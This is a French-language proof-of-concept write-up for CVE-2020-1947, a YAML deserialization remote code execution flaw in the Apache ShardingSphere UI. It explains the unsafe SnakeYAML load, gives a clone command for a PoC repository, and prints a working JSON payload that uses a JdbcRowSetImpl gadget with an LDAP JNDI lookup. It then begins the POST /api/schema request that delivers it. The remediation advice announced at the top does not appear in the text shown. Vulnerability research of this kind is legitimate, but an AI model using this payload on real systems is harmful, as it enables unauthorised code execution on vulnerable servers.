
Preuve de concept et analyse pour CVE-2020-1947, une vulnérabilité d'exécution de code à distance par désérialisation YAML dans Apache ShardingSphere UI, y compris les étapes de reproduction et les conseils de correction.
ShardingSphere est un écosystème open source d'Apache, un ensemble de solutions middleware pour bases de données distribuées. Il est composé de trois frameworks indépendants : sharding-jdbc, sharding-proxy et sharding-sidecar, utilisés pour le partitionnement des données, les transactions distribuées et la gouvernance des bases de données.
ShardingSphere 4.0.0-RC3, 4.0.0 Composants : sharding-jdbc, sharding-proxy, sharding-ui, etc.
Apache-shardingsphere-incubating-4.0.0
java version "1.8.0_231"
Java(TM) SE Runtime Environment (build 1.8.0_231-b11)
Java HotSpot(TM) 64-Bit Server VM (build 25.231-b11, mixed mode
La console web de ShardingSphere utilise la bibliothèque SnakeYAML pour analyser les entrées YAML afin de charger la configuration de la source de données. SnakeYAML permet d'effectuer un unmarshal sans validation, ce qui permet une analyse et une désérialisation directes.
La méthode unmarshal() transmet directement le contenu à la méthode load() de yaml.snakeyaml.
Si unmarshal reçoit un contenu YAML malveillant, cela entraîne une exécution de code à distance (RCE).
git clone https://github.com/HexChristmas/CVE-2020-1947
cd CVE-2020-1947
docker-compose.yml
Poc
{"name":"CVE-2020-1947","ruleConfiguration":" encryptors:\n encryptor_aes:\n type: aes\n props:\n aes.key.value: 123456abc\n encryptor_md5:\n type: md5\n tables:\n t_encrypt:\n columns:\n user_id:\n plainColumn: user_plain\n cipherColumn: user_cipher\n encryptor: encryptor_aes\n order_id:\n cipherColumn: order_cipher\n encryptor: encryptor_md5","dataSourceConfiguration":"!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: ldap://127.0.0.1:1389/CommandObject\n autoCommit: true"}
Requête
POST /api/schema HTTP/1.1
Host: 10.10.20.166:8089
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8